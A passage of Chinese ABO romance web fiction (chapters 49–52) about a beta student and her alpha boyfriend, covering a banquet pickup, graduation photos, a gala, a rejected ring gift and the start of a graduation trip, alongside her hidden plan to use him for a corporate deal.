“哦,那好吧。” “你很忙的话就算了,我不打扰你。” 很体贴,善解人意的语气,也很不符合陆恪的性格。 千述感受到不对劲,如愿以偿的发来消息,追问。 “怎么了?” “你不是跟家人一起去宴会了吗,结束了?” 光落在陆恪纤长浓密的睫毛上,投下一片淡淡的阴影,他嘴角微微勾起。 陆恪也拍了一张照片发过去。 不过他没有发桌上的残羹剩饭,而是发了一张自己手拿着汤匙的照片。照片里的手骨节分明,修长干净,拿着白瓷汤匙,宛若艺术品一般。 “快结束了。” “只是我喝了很多酒,不能开车。如果你很忙的话就算了,我可以叫代驾。” “没关系的,你的事情更重要。” 言罢,陆恪就紧盯着对话框,等待着千述的回复。 但是那边许久都没发消息过来。 方知明还在陆恪耳边嚎:“陆哥,她到底为什么要跟我分手,就因为我太黏人了吗?” 陆恪耳朵里就反复重复“黏人”这两个字。 黏人,黏人,黏人。 太黏人都不会有好下场! 陆恪终于不耐烦了,言辞犀利冷漠,往方知明心上插刀子:“就是因为你太黏人,所以被甩了。” “不可能!”方知明蹭的直起身,振振有词道,“我还没同意分手,所以没有被甩。” 陆恪觉得的方知明现在脑子不正常,推开他哭得眼泪鼻涕糊成一团的头。陆恪深呼一口气,把心中郁气压了下去,手机丢在桌上,起身去了洗手间。 等他出来的时候,手机亮着。 千述发来消息:“刚刚在打电话,没看到你消息。” “你现在把定位发给我,等会儿我来接你。” 好吧,陆恪心中郁气散了。 …… 大家酒足饭饱后就开始准备离开了。 因为在场除了陆昱辰和未成年的苏向恒没喝酒,其他人都喝了酒,尤其是方知明,已经醉得连姓什么都不知道了。 靠在他大哥身上,叫嚷着宝宝别跟我分手,获得了方大哥白眼几枚。 喝酒不开车,都是司机来接。 “你喝了酒怎么回去,要不跟我们一起回老宅住。你的房间一直给你打扫着的,都很干净。”陆凌风看向陆恪道。 尽管陆凌风和陆恪现在水火不容,但是陆凌风依然保留着陆恪在家里的痕迹,没有抹去。 “不用,千述等会儿要来接我。”陆恪扬眉,好心情道。 “……”陆凌风。 陆凌风突然反省,自己对陆恪好像一点也不了解。他从没意识到自己儿子谈了恋爱,会变成这个德性。 张口千述,闭口千述,没千述说不来话了? 他怎么生出了个这么恋爱脑的儿子? 说曹操,曹操就到,一辆车从远方驶来,然后停在他们面前。 人家千述还没下车,陆恪就走上前去了。他今天喝了不少的酒,方知明喝一杯,就嚷着让陆恪也喝一杯。 陆恪到后面就是一个微醺状态,整个人飘飘然的,很兴奋,脑子也没有太清醒。 千述下车,看了一眼陆恪染着绯红的脸,又看向不远处的陆凌风夫妇,走上前去跟他们打招呼。 陆恪亦步亦趋跟在她的旁边,俨然成为千述的小跟班。 “陆总,时夫人,好久不见。”千述礼貌跟二位长辈问候。 随后又垂眼看着站在旁边的陆昱辰,笑着跟他打招呼:“hello,陆昱辰。” “千述老师,好久不见。”陆昱辰乖乖道。 千述自从上了大四,就辞掉了家教老师的兼职,回了学校,所以已经很久没去过碧府大院那边。 陆凌风之前对千述的印象不清晰,只记得她是A大的学生,挺聪明努力的,然后就没了。 现在千述站在他的面前,整个人突然就变得清晰了。 以前见到千述,陆凌风还是风度翩翩的科技老总。现在看到陆恪黏黏糊糊的站在千述旁边,陆凌风真是气得酒都要醒了。 陆家养了这么久的小白菜,长得水灵灵的,一不注意就被人揣走了。 哦,不对,是小白菜主动要跟着别人走的 。 拦都拦不住! 陆凌风不高兴,看千述眼睛不是眼睛,鼻子不是鼻子的,不想搭理她。时谨在旁边扯他的衣服,陆凌风才正眼看千述。 “嗯,好久不见。”陆凌风没好气道。 他们几人站在门口,身后是夜色中的街道。 陆恪在身后扯千述的衣角,他喝醉了酒,尾音拉长,听起来就很像撒娇:“千述我现在头好晕,好难受,我想回去了。” 哇,陆凌风看到这一幕更生气了,简直是火冒三丈。陆恪面对他这个父亲的时候,横眉竖眼,冷若冰霜,稍微一句话不顺心就要吵起来。 面对着千述,脾气也没有了,声音也温和了,一整个阳春三月花盛开。 “外面天冷,我们就先走了,二位也早点回去吧。”千述礼貌得体,随后带着陆恪离开了。 身后时谨劝陆凌风:“小辈的事你就少插手了,你也管不了那么多。” “这事我必须要管,alpha和beta在一起,苦的还不是alpha!她千述是beta,能吃什么苦?!我不可能看着陆恪一辈子靠着抑制剂过。” “你这是关心则乱,以后的事谁说的准啊!他们现在大学都还没毕业,你就想到那老远去了。”时谨无语道。 盏盏街灯,如夜空中闪烁的繁星。往远处不断延伸。千述和陆恪的身影在路灯下忽长忽短,身影逐渐融入远处的光晕中。 “感情最是脆弱,日后能不能走到一起,还两说。” 时谨的声音已经很模糊,听不清了,消散在风里。 第50章 第50章陆恪同学,我能跟你合照一…… “他掌权以后,已经将公司的老员工,尤其是财务部和法务部的员工全部换成了自己人。我有尝试跟他们接触,但是都一无所获。” “要么就说对当年的事不清楚,要么就是含糊其辞。” 在光怪陆离的夜色中,A市仿若变成了一个不眠的舞台。高楼大厦的灯火辉煌,熠熠生辉,点缀着这个梦幻的舞台。 千述站在落地窗前,拿着手机,站在高处俯瞰着这幅流光溢彩的画卷。她神色平静,声音淡然,眼眸中波澜不惊,仿若一潭深邃的净水。 “最近陆氏在开发一款车,目前还在概念设计阶段,贺诚军想要接下这个项目。”千述垂眸道。 “他让我找陆恪帮忙。” 贺诚军的原话是这样说的,他说:“陆氏的这款车,走的是大众路线,在车灯选择上也是倾向于性价比较高的。” “千言的车灯照明效果佳,使用寿命长,能效比高。用在这款车上绰绰有余。” 贺诚军这话其实说的没错,千言集团的业务虽然萎缩,但曾经也是极有实力的企业。尤其是在S市,在千朝的带领下,更是不可小觑。 现在虽比不上从前,但瘦死的骆驼比马大,应付这种基础车还是有实力的。 只是千言没有和陆氏谈合作的机会罢了。 “你答应了吗?”电话那头的人问道。 “答应了。”千述淡淡回答道,“我没理由不答应。贺诚军说如果我答应,就把我的职位往上调一级。” “我说我想去财务部,他同意了。” 财务部是一个企业的核心部门,有很多权限,可以查询很多东西。 当时贺诚军还有点犹豫,但是千述说,她需要了解千言的财务状况,以便和陆氏谈合作时可以应对。 于是贺诚军思考以后,答应了。 不过,在贺诚军的办公室,千述也坦言:“陆恪没有掌权,在项目上没有决策权。最后拍板做决定的还是陆凌风。把希望压在他身上,不一定能够成功。” 贺诚军对此却持乐观态度,他微笑着,虚伪又贪婪:“最有效的方法当然是直接接触陆凌风。但是千言和陆氏没有合作过,陆氏也有熟悉的供应商,不可能这么轻易的给我们机会。” “陆恪虽然只是跳板,但是他在陆凌风面前说一句话,顶我们外人说十句百句。” “况且,这款车现在还在概念设计阶段,时间还长,有的是办法。我相信你。” 很像老板pua员工,最后还要说一句我相信你有实力解决这个问题。 一辆车,从项目的开始到启动生产,这中间至少要三年时间。这中间,可以努力的机会太多,所以贺诚军现在还不着急。 贺诚军喜欢投机取巧,哪怕自己的产品有实力,他也不敢去大方一争。 那边听完千述的话,沉吟片刻,道:“那你准备什么时候和陆恪说?我个人认为是趁你们感情最好的时候去说。” 人在陷入爱情的时候,往往会大脑缺失,做出惊天动地的蠢事。 站在落地窗前的千述沉默,许久都没说话。对面察觉到千述的情绪淡了下去,轻声问道:“千述,你不愿意利用他?” “他”指的是谁,不言而喻。 千述没回答这个问题,只感觉心里有一点点堵,很轻微,可以忽略不计。 半晌,千述开口:“没有,这个日后再说。” …… 陆恪洗完澡出来的时候,发现千述不在卧室。他一路上都晕晕乎乎的,回到家也不太清醒。 刚一进门,就扯着自己的衣服嗅了嗅,浑身酒气,陆恪眉毛皱起来:“千述,我要洗澡。” 当时千述在玄关换鞋,漫不经心道:“去呗。” 大少爷站在她面前没动,就直勾勾的盯着她。千述笑了,揶揄道:“怎么,还要我帮你洗?” 千述上下扫了他一眼,慢悠悠道:“也不是不行,不过我可是要收费的。” 陆恪脸一下子就红了,莫名的很纯情。他本来就晕乎乎的,现在脸红起来,凤眼含春,很漂亮。 陆恪瞪了千述一眼,转身就走。 洗了澡以后整个人都神清气爽,陆恪从房间里出来去外面找千述,在落地窗前看到了那个高挑的身影。 像一帧被定格的电影画面,窗外是流动的霓虹,而千述的的轮廓静止得近乎锋利。这让陆恪有一种奇异的恐慌感,仿佛自己和千述不在同一时空。 她就像是一个随时准备抽身离开的人,捉摸不透她会在什么时候下最后通牒。 身后的人抱住了千述,带着沐浴后淡淡的清香。alpha温热的体温打乱了千述的思绪,让她把目光放在玻璃上倒映的两个身影上。 高大的alpha将清瘦的beta拥入怀里,很深的拥抱着,似乎要让二人融为一体,无法分离。 千述抬手摸了摸陆恪的头发:“湿的,怎么不把头发吹干了出来。” 陆恪没说话,湿润的发蹭在千述的肩颈。 要说什么?说他一秒都不想在浴室里多呆,想赶快出来看到千述,所以头发就胡乱擦了擦,没来得及吹。 那就听起来太黏人了,会变成和方知明一样的下场。 陆恪不要。 千述把陆恪拉到沙发坐好,又去房间里拿吹风机出来。 千述站着陆恪面前,陆恪很自然的抬手,环住千述的腰,头靠在她的身上,鼻尖萦绕着千述的气息。 陆恪似乎很喜欢这样的拥抱姿势,感觉自己被千述的气息包围,像是沉浸在温水中,很有安全感。 “你这样靠着我,把我衣服都打湿了。”千述推了推陆恪的头,有点嫌弃道。 陆恪仍旧紧紧环住千述的腰,轻轻蹭了蹭,道:“就让我这样抱着你好不好,我赔你一件新的衣服就是。” 陆恪稍微软着声音撒娇,千述就有点受不住,然后纵容他。 索性陆恪在日常生活中,可能是顾及着alpha的面子吧,很少对千述撒娇,保持着alpha的高傲。 只有两个人氛围很好的时候,才会释放一点陆恪的天性。 风筒的声音呼呼作响,吹风机的热风烘得空气发烫,陆恪感觉千述的手轻柔的穿过他的发间。 陆恪的头发很软,潮湿时带着 洗发水的淡香,缠绕在千述的指间,像某种无声的挽留。 吹风机停了,房间里忽然静得过分。千述的手指还停留在陆恪发间,而他仰起头,看着千述,眼底沉着晦暗的光。 这眼神太烫,烫得千述下意识挪开目光,落在了他的唇上,水润润的,看着很好亲。 “你真好看。”千述低声说,指尖轻轻摩挲陆恪的唇,暧昧,流连。 “那你喜欢吗?”陆恪抬眼看着千述。 他轻轻含着千述的指尖,猫一样的舔着。 “喜欢。” 千述抬起陆恪的下巴想要亲他,陆恪却偏开头,千述的吻落在了陆恪唇角。 “会一直喜欢我吗?只喜欢我。”陆恪追问道。 人总是理想天真的,会相信独属于自己的,永恒的爱情。 “会。”千述哄他。 当千述的吻压下来的时候,陆恪下意识攥紧了千述的衣服,他微微仰起头,以一种完全在下位,被掌控的姿势,和千述亲吻着。 千述捧着陆恪的脸,吻落得又轻又慢,漫不经心的,玩一样。大少爷低哼一声,有些按耐不住。他追着千述的唇,但千述却总是若即若离。 陆恪猛的睁开眼,喘息一声,怒道:“你到底要不要亲我!” 陆恪的锐利又混着艳色,眼波流转间让千述觉得自己的心脏好像被羽毛间轻轻拂过,酥酥麻麻的。 千述轻笑一声,终于加深了这个吻。二人呼吸交错,灼热而凌乱。 —————————————— 人生天地间,若白驹过隙,忽然而已。 千述的大学已经面临尾声,即将落幕,她们前段时间成功完成了答辩,明天要拍集体的毕业照。 每个人都在往自己选择的路上,不断前行。 向曼青已经得到了国外大学的offer,即将要开启留学副本。谢宁也考上了本校的研究生,进入了心仪导师的名下。罗玉兰自己在大学搞的动漫小短片获奖,成功进入了国内顶尖的动漫公司。 不过她说,她的终极目标是自己带领团队,做出一部原创的动漫电影。 说着这话,罗玉兰已经抱着千述,蹭来蹭去:“不过这个目标也太困难了,比让我上月球还困难,我肯定做不到的。” 谢宁考完研,整个人都放松下来,又变得活泼搞笑。 她在一旁摆弄学校发的学士服,听到罗玉兰这话,打趣她道:“此言差矣,罗玉兰,上月球你也做不到的。” “滚蛋。”罗玉兰跑过去挠她痒,“不知道说些好听的!” 谢宁笑的停不下来,被制裁了:“哎呀!别挠了,我相信你,我相信你还不行嘛。” “以后没钱了你来找我,我给你的动漫投资。”谢宁大手一挥,豪气道。 “哇!姐姐,你好善良,好有钱啊。”罗玉兰道,“姐姐现在能V我50吗?” “那没有。”谢宁摆手拒绝,“如果你找我借200万我会毫不犹豫的答应你。” “如果是借50就算了,因为我真有。”谢宁义正言辞。 千述在一旁看着她们俩打闹,觉得有趣。她桌上也摆着学士服,她们是工科毕业,所以学士服的领子是黄色的。 向曼青走过来,道:“千述,我帮你戴学士帽。” 学校发的学士帽有点大对她们来说,容易掉下来,需要用卡子别住,大家都是互帮互助。 “好。”千述点头,把桌上的学士帽递给了向曼青。 今天天气特别好,有微风,她们这一层楼都是大四毕业生,所以偶尔能听到别的寝室的欢笑声,她们也在试学士服。 向曼青跟千述一样高,千述微微低头,向曼青手上拿着黑色的卡子,帮千述把帽子固定好。 “以后就准备在自家公司上班了吗?”向曼青一边给千述戴学士帽,一边问道。 千述在后面有时候会去云栖御庭,但是大多数还是回学校,所以寝室里面的人都知道千述回了自家公司上班。 “嗯。”千述回答。 “那也挺好的。”向曼青笑道,“原来网上说的毕业以后就要回家继承家业的富二代就在我身边。” 她们寝室很长一段时间都以为千述家里很拮据,后来才知道她跟她爸关系不好,所以才自己在外面兼职赚生活费。 只是千述没在寝室里说过自己是养女。太复杂了,要抽丝剥茧的说,很浪费精力。 千述沉默,半晌才开口:“其实也没有很开心。” “我有点累,想离开这里。” 千述声音很低很轻,在热闹的寝室不太清晰,但是向曼青还是听见了。 她没有惊讶或者觉得千述身在福中不知福。向曼青只是很平和的问道:“那你想去哪里呢?” “远一点的地方吧,没人认识的地方。”千述道,有点迷茫。 “去北欧呗,还能来找我。”向曼青开玩笑道。 “那边风景又好看,很多地方人也不多,你可以去看看,旅游或者别的,来瑞士找我就更好了。” 千述短暂一怔,没有回答。 向曼青把帽子给千述戴好了,然后退后一步看了看,对自己的技术颇为满意。 “搞好了,别说,你戴学士帽还挺好看的。” “是吗?”千述问道。 “当然啊!千述,难道没人说过你长得还不错吗?”向曼青把千述推到阳台的墙上贴的全身镜面前。 不像陆恪那般张扬,侵略性强的容貌,千述长相柔和清丽,第一眼可能印象不深,属于是耐看型的。 …… 拍毕业照那天,A市的天气出奇的好,学校里贴了很多标语,红色的横幅挂在路边的树上特别醒目。 来来往往的学生路过都能看到。 穿着学士服的毕业生与穿着便装的学弟学妹们擦肩而过的时候,会有种恍惚感。 这个场景,每年都会在学校重复,像一部循环播放的默片,只是这次的主人公变成了千述。 终场的哨声总会吹响,但前进的风帆一直高扬。 毕业大合照是在A大的图书馆门口拍的,难得的,整个学院这么多人聚在了一起,整整齐齐。 她们寝室四个人站在了一起。 摄影师在前面指挥,让大家别眨眼,最后又让大家往天上丢学士帽,摄影师抓拍。 丢学士帽,这几乎是每个大学,每届毕业生都会有的一张照片。尽管老套没有新意,却是毕业生心照不宣的标志性动作。 高高抛起的帽子,意味着学生时代的落幕,也意味着迎接新的生活,是一种杂糅在一起的情感。 经管学院比电子信息学院的毕业照早拍一点,千述拍好的时候,陆恪已经在旁边等了好一会儿了。 陆恪长得高,穿学士服也格外挺拔,他站在树荫下,注视着这边。 尽管陆恪人站在角落,但是注意到他的人可不少。 有不少人上前找他合照,老师或者同学。 “学长,我也是经管学院的,能跟你合照一张吗?”有omega拿着手机,紧张问道。 陆恪有些冷淡,不过还是点头答应了。 “哇!谢谢学长!”omega连忙把手机塞给同伴,站到陆恪旁边,很有礼貌的保持着距离。 拍好以后,omega跟陆恪道谢, 拉着同伴走了,隔老远还能听到他兴奋的尖叫:“啊啊啊,陆恪,陆恪!我男神他好帅,我居然跟他有一张合照。” “我要把照片洗出来,放在相框里珍藏!” 刚开始陆恪会好脾气的跟大家合照,毕竟是毕业这天,给个面子。再加上陆恪和千述在一起后,脾气好了不止一点半点。 只是后面要来跟陆恪合照的人越来越多,他周围全是人,陆恪就有点不耐烦了。 他拨开人群,向千述走去。正好千述这边的大合照也拍好了,人群散开。 大家纷纷向陆恪行来注目礼,有少部分学生认识他,但大多数同学都没见过陆恪,只是觉得这个alpha长得又高又帅。 陆恪站在离千述几步远的地方,但是千述没有注意到他,因为她在和室友拍照。 “我在网上选了几个动作,我们也这样拍,包好看的,肯定出片!”谢宁掏出手机,打开她早已收藏好的毕业拍照姿势。 为了这天,谢宁起码收藏了十几个毕业妆容,拍照姿势的教程。 四个人兴致勃勃的研究这个。 陆恪也没说话,他就是很赌气的,要看千述什么时候才能发现他,然后更生气了,因为千述完全没注意到他。 还是罗玉兰杵她,问道:“陆恪是在等你吧?” 千述才转头看过去,陆恪已经有点生气了。和千述双目对视的那一刻,陆恪心里那点小委屈到达巅峰。 他抿着唇,转身就走。 “千述,你还不追啊,老婆都跑了。”向曼青在旁边揶揄道。 千述头疼,追了上去。 看着两人的背影,谢宁摸着下巴,煞有其事的说:“不过说实话,千述这么闷,跟陆恪这种作作的在一起,还蛮般配的,小说里都这样写。” 谢宁看过很多小说,沉默寡言的女主X作天作地的男主,这个人设,也是非常好磕的。 “哪本小说?我也去看看。”罗玉兰好奇道 “重生之beta对我狠狠爱,男主也是alpha。”谢宁慷慨大方的分享。 “谢宁,你有点恶趣味了。”罗玉兰吐槽道。 “你去看,我不吹,看完你得回来谢我。” 千述和陆恪在一起后,陆恪有请她们寝室吃过几次饭。几次相处下来,千述和陆恪的相处模式,向曼青她们都摸清了。 陆恪其实走的不快,他就是等着千述来哄他,谁叫她只看到别人,没有看到他。 千述握住陆恪的手,然后陆恪就停下来,转头看她,一点都不带挣扎的。根本就是在等着千述牵他嘛。 千述笑眯眯的看着陆恪,一本正经道: “陆恪同学,我能跟你合照一张吗?” 那天的天气实在太好。哪怕是很多年以后,陆恪想起那天,能想到的只有千述落满阳光的发丝,以及她眉眼弯弯的笑。 陆恪胸腔里涨满的情绪几乎要溢出心脏,沿着血肉,到达四肢百骸。这样浓烈的情绪,让陆恪甚至有点鼻子发酸。 太幸福了。 神明可以永远眷顾他吗?让幸福永远降临在他的身边。 “可以吗,陆恪同学。真的很想要跟你的合照。”千述偏了偏头,笑着问道。 “嗯。”陆恪从喉咙里挤出来一点声音,闷闷的。 蝉声稠密起来的时候,树影正浓。绿意从枝头淌下,浸透了整个夏天。 千述和陆恪穿着学士服,站在一起。留下了大学第一张,也是最后一张合照。 50-60 第51章 第51章我不在乎 毕业的时候,千述寝室里组织了一场毕业旅行。 以前刚上大学的时候,国庆放假那段时间,寝室四个人就一起出去旅游过一次。不过那个时候,大家也就是在周边城市玩了玩,没有去太远的地方。 这次旅行是罗玉兰提议的。 很不可思议,因为罗玉兰其实在寝室里是那种比较粗线条的人。没想到毕业晚会那天,她居然是第一个哭的人。 A大的毕业晚会举办得盛大,在学校的大礼堂举行。就像新生开学时在大礼堂举办迎新晚会,离开学校的时候。也是在大礼堂举办毕业晚会。 那天晚上,毕业晚会的第一首歌就是A大合唱团的一首《后来》。身后的屏幕上,是他们这一届从军训到毕业,记录下来的片段,剪辑成了一个VCR。 这首歌出现在毕业晚会,不亚于在每一个毕业生心上开了一枪。蓝色的,带着忧郁的灯光,让舞台呈现出一种朦胧的氛围。 黑暗的台下,学生们拿起手机,把手电筒打开,挥舞着,像黑夜中的繁星点点。 刚开始的时候,台下有人小声的跟唱。到后面,跟唱的声音越来越多,从四面八方汇聚在一起,最后变成了万人合唱。 罗玉兰在旁边几乎是边唱边哭,向曼青默默扯了张纸给她。旁边谢宁的手伸过来,瓮声瓮气道:“我也要一张纸。” 向曼青看过去,得,又哭了一个。 向曼青还探头去看了看千述,千述没哭。她坐在谢宁旁边,安静的看着台上的大屏幕。 舞台的灯光偶尔落在千述的眼里,仿佛泛着泪光。像是一颗石子落入湖泊,溅起了一圈圈的涟漪,无法停歇。 谢宁拿手机记录舞台视频,然后又点反转镜头,开自拍录制。 在昏暗的环境中,谢宁水汪汪的眼睛显得晶莹剔透。 “我今天毕业了,我终于毕业了!我以为今天我会特别开心,但是……呜呜呜呜呜……我好舍不得。” 谢宁将镜头扫向千述,镜头里的千述侧脸白皙干净。以前堪堪及肩的中短发,已经到了腰间,千述简单的扎了一个侧麻花辫。 “这是我的舍友,千述。”谢宁带着哭腔道,“千述,你过来打个招呼。” 千述转头,看到了镜头。她凑上前来,微微勾唇,对着镜头打招呼:“大家好,我是谢宁的室友,我叫千述” 谢宁又把手机对着向曼青和罗玉兰,让她们俩自我介绍。这个视频甚至不用加bgm,因为全场大合唱的声音,足够令人动容。 谢宁把这个视频发到了网络的社交平台上,再配上emo文案,很符合她的风格。 毕业晚会开头比较伤感,中间气氛就热情了许多,有歌舞表演,有乐队演唱,有搞笑的小品,学校还请了京剧艺术家来表演。 陆恪的节目是在最后压轴出场,他这次是作为合唱团的钢伴。 穿着黑色的衬衣,坐在钢琴面前,陆恪垂眸看着琴谱,鼻梁高挺,下颌线清晰。光落在他的身上,就像是矜贵高傲的小王子。 台下有很多人在录视频,全场一片寂静的时候,钢琴的音是最先出来。轻快的旋律从陆恪的指尖流出,随后人声跟了进来。 大一迎新晚会,陆恪弹奏钢琴,只是那个时候千述并不认识他。毕业晚会,陆恪同样弹奏钢琴,千述的目光开始停留在他的身上。 这仿佛完成了一个轮回。 毕业晚会很圆满的完成了,随着散场的歌声响起,大学彻底落下帷幕。 今后的生活如何,是充满希望,还是陷入困顿,这是上帝为每个人出的独属命题,只能独自回答。 千述随着人流往外走,手机响起。 陆恪给千述打了语音过来,千述接了。 “不准走,在门口等我。”陆恪在电话里的声音清越干净。 陆恪要去后台换衣服拿东西,一时半会出不来。千述就站在大礼堂门口的台阶上等他。 随着人群的散去,大礼堂这边开始变得安静,只有偶尔经过的几个学生。路上昏黄的灯光,将千述的身影拉的很长。 A市晚上的时候,没有白天那么炎热,会吹一点夜风,带着余温。风吹拂起千述的耳发,她抬手将头发别在耳后。 千述刷手机,看到了谢宁的视频,给她的作品点个赞。然后又百无聊赖,把手机收起来,发呆。 黑夜是很好的情绪催化剂,尤其是这边安静无声,情绪更是被放大到千倍万倍。 千述不是完全没 有波澜的,她也会不舍会难过,会听到《后来》心中产生动容。只是千述很少表现出来,她习惯掩藏自己的情绪,把自己的存在感压低。 “学长,你今天弹得真好,非连奏处理得很干净,每个音都很清晰又不失连贯性。我就达不到这个水平。” “我还让我同学帮我们录了舞台视频哈哈哈,能跟学长合作,好开心。” “学长有学过很多年钢琴吗?”有人问道。 后台有好几个人走在一起,他们都是合唱团的,陆恪站在中间,手里还提着一个小袋子。 陆恪点头,“嗯”了一声。 他小时候有学过很多东西,乐器或者运动,类似于击剑,马术这些。但是最后都因为陆恪太叛逆,放弃了。 唯有钢琴,陆恪学了下来,因为家里有一张母亲孟时樱坐在钢琴前弹奏的照片。 孟时樱是天之骄女,柔美温和的omega。不仅在学术上有一定的造诣,在艺术上面也很优秀。每每家里的老管家谈到孟时樱,都会叹一句。 “实在是可惜,天纵英才。” 这让陆恪怀念母亲的同时,又更加厌恶自己的出生。他总是很讨厌自己,觉得是自己的剥夺了孟时樱的生命。 陆恪的情绪不高,大家都感受出来了,也没再讨论钢琴。开始叽叽喳喳的说着今天晚上的表演。 一行人走到了大礼堂门口。 千述听到声音,往这边看过来。 站在台阶上的身影安静,沉稳。有时候千述给人的感觉,就像是生长在峡谷里的一棵树。 不张扬不突兀,却又汲取着阳光,努力向上生长。 黑夜中,千述和陆恪的目光交汇。众人也看到了千述,不过都没有太在意,以为她是在等待同伴。 直到,站在他们中间的人,往千述身边走去时,大家才意识到: “哦,原来是在等学长啊。” 合唱团的学弟学妹们也很识趣,道:“学长,那我们就先走了!祝你毕业快乐,前程似锦!” 年轻人的声音总是活跃,昂扬,充满朝气。 陆恪走到千述身边,低头看她:“等很久了吗?” “还好。”千述道。 安静的校园里,千述牵着陆恪的手,慢慢往前走着。 “我看了最后一个节目,你钢琴弹的很好。”千述平和道。 “那你有给我拍照吗?”陆恪问道,有些傲娇。 合唱团那些学弟学妹的对象,都给他们拍了照片,刚刚还拿给陆恪看。 “拍了。”千述点头,很坦然道,“你在舞台上很好看,我录了视频。” “哦。” 千述这么直白,倒让陆恪的脸有点红了,害羞。 他垂眼看着和千述交握的双手。千述的手总是凉,哪怕在夏天的时候也是温凉的。 “家里有钢琴,如果你喜欢听钢琴曲,回去我可以勉为其难弹给你听。”陆恪装作不经意道。 话音落下,千述轻笑一声,她抬眼看着陆恪,道:“我不喜欢听钢琴曲。” 陆恪一僵,抿着唇:“不喜欢听就算了!” 陆恪不让千述牵他手了,气得要把手抽回来。千述握着他的手不让动,她笑问道:“大少爷生气了?” 陆恪撇开脸,嘴硬道:“没有。” 千述钳住陆恪的下巴,让他转过头来,然后凑上去吻了一下,慢悠悠道:“原来你想弹给我听啊。” “那我很荣幸能听到大少爷弹琴了。”千述笑着打趣。 陆恪这下耳朵尖都红了,感觉脸烫烫的。 他抽回被千述牵着的手,别扭道:“我又不想弹了。” 嗯,大少爷害羞了。 …… 两个人走在校园里,这边是教学区域,很多地方都没人了。往操场那边走,倒是看到不少学生在夜间跑步,热闹一些。 草坪上有人在弹吉他唱歌,是悠扬浪漫的情歌,周围一圈人围坐在一起,跟着哼唱,气氛轻松。 千述他们没有凑过去,他们坐在看台的角落,歌声会穿过空气,飘到他们的耳朵里。 “手抬起来,我有东西要给你。”陆恪让千述抬起手。 千述依言照做。 两枚冰凉凉的,闪着细碎光芒的圆环落在千述手上,是对戒。 “前段时间在商场看到了,觉得还不错,就随手买了,不是什么很贵重的东西。” 陆恪表面很随意,其实声音有点紧。 Graff的对戒,莫比乌斯环象征着循环往复,永无止尽的爱。尽管只是一枚小小的圆环,但它承载的感情,太深太重,会让人无端的觉得压力很大。 千述微怔,她看着手上的两枚戒指,戒圈内侧的隐秘刻痕是他们名字的首字母,这根本就不是随手买的。 千述沉默,两人之间的氛围也有些凝滞。 陆恪看着千述低垂的睫毛,很冷淡的样子,这并不是惊喜的表现。 意识到这点,陆恪的面色变了,他眼眶微微发红,像一只炸毛又受伤的猫。 “你不要就算了。”陆恪冷声道,尾音却控制不住的轻颤。 他从千述收心里拿回那两枚戒指,胡乱的塞进盒子里。就像是把自己送出去的心,也收回来,胡乱放好。 陆恪站起身就要走,他现在实在不想跟千述继续待在一起,因为他有点克制不住眼中的泪意。 千述心里有点堵,她强行压下去这种感觉,轻叹一声。千述跟上去,抬手牵住陆恪的手。 陆恪直接甩开,语气有点激烈,带着哽咽:“你别碰我!” 千述没说话了,被甩开的手指微微蜷缩着。她只是安静的跟在陆恪的身后。 但是陆恪却更加生气,更加难过,抬手抹了抹眼泪,越走越快。 眼看着要走到学校的停车场,千述今晚并不准备跟他一起回去。 “我后天要跟室友出去旅行,可能十天以后再回来。”黑夜里千述的声音很平静。 行程是早就订好了的,机票,酒店也早就订好了。 “随便你。”陆恪语气冷硬。他背对着千述,眼睫湿漉漉的。 “你不回来也行,无所谓。”陆恪呛声道。 千述顿了一下,道:“我只是先提前跟你说一声,这个行程是早就决定好的。” “你不用跟我说。”陆恪转过身来。 他直直的看着千述,除了眼睛有点红,看不出来有什么异样。 “你不用跟我说你的事情,我不在乎。” 第52章 第52章他在医院 这次她们的毕业旅行选择去西北旅行。 本来说的落地以后租车自驾,但是因为千述和罗玉兰要上班,而自驾的时间需要花费很多,最后放弃了这个决定。 西北干旱,少雨,风沙大。 广袤辽阔的土地,当落日垂向戈壁滩的尽头时,整个天地都变成了金色,雄浑厚重的金色。 今天她们报了一日小团,旅行社会带着游客经过阳关,玉门关。最后去雅丹魔鬼城是寝室四个人重新包的越野车,看日落和繁星。 这是她们毕业旅行的最后一站。 车上除了有千述这样的年轻人,还有老年旅行团,一车的大爷大妈都是已经退休了的,叽叽喳喳,兴奋的很。 千述闭着眼睛假寐,起得太早,有点困了。座位没有将寝室里的四个人分在一起,所以千述跟一个阿姨坐在一起。 车辆行驶在广阔的大路上,离很远,就能看见蔚蓝天空下,屹立在戈壁滩上的阳关城墙。这是后世修建,真正的古城墙已经淹没在黄沙之中。 “小姑娘,我们这里到的是阳关还是玉门关啊?” 耳边传来询问的声音,千述睁开眼,看向车窗外,回道:“现在是阳关,下一个景点才是玉门关。” “原来是这样。” 阿姨和蔼,爱笑,穿着花裙子,戴着草帽和墨镜。 要到景点了,千述也没了睡意。她点开屏幕,打开微信,垂眸看着。 置顶的那个人一直没有发消息过来,前几天到敦煌的时候千述给陆恪发了句“我到了。” 陆恪到现在都没回。 他没回千述发的信息,但是朋友圈倒是发的勤。去飙车了,去喝酒了,甚至昨天晚上凌晨两点,还发了一个在酒吧蹦迪的视频。 千述点开,视频里震耳欲聋的喊麦声,目眩神迷的灯光,以及陆恪拿着酒瓶,对着镜头挑眉笑,很冷淡。 陆恪又开始染头发了,这次染成红色。陆恪已经很久没染头发了,以至于千述看到视频还愣了一下,觉得有点陌生。 他戴着耳钉,唇钉,锐利,攻击性强。看起来张扬,不服任何人管教。 千述看着视频里的人,好像在隔着屏幕跟他对视着。 “小姑娘你是一个人出来玩的吗?”身旁的阿姨笑眯眯的,继续问道。 千述把耳机摘了,表示没太听清。 阿姨又问了一句:“你是一个人来玩的吗?” 千述 摇头,道:“不是,我和我室友一起来的。” “室友。”阿姨重复了一句,“那你是刚毕业的大学生吧,是beta吗?” 千述有点不懂刚毕业的大学生和beta有什么必要的联系,但阿姨说的这两个点都对上了,千述就点点头。 看到千述点头,阿姨顿时眉开眼笑,热情道:“小姑娘,你有没有男朋友啊?” “你是beta,我儿子也是beta。他在德国读书,现在正在读研究生。阿姨看到你第一眼,就觉得你们般配得很嘞!” 这是千述长这么大,第一次有人给她说媒。以至于千述刚开始还有点懵,没反应过来。 只这几秒钟,阿姨已经把她儿子的照片翻出来。很标准的游客照,男人高高瘦瘦的样子,五官端正,站在科隆大教堂的门口。 “这是他刚去德国的时候拍的。你看看他怎么样,跟你差不多大,最多比你大个一两岁的样子。这张照片可能看不清楚脸,我这里还有近景的照片。” 阿姨特别热情,说话语速也很快,机关枪似的,噼里啪啦,让千述困顿的脑子无法及时处理。 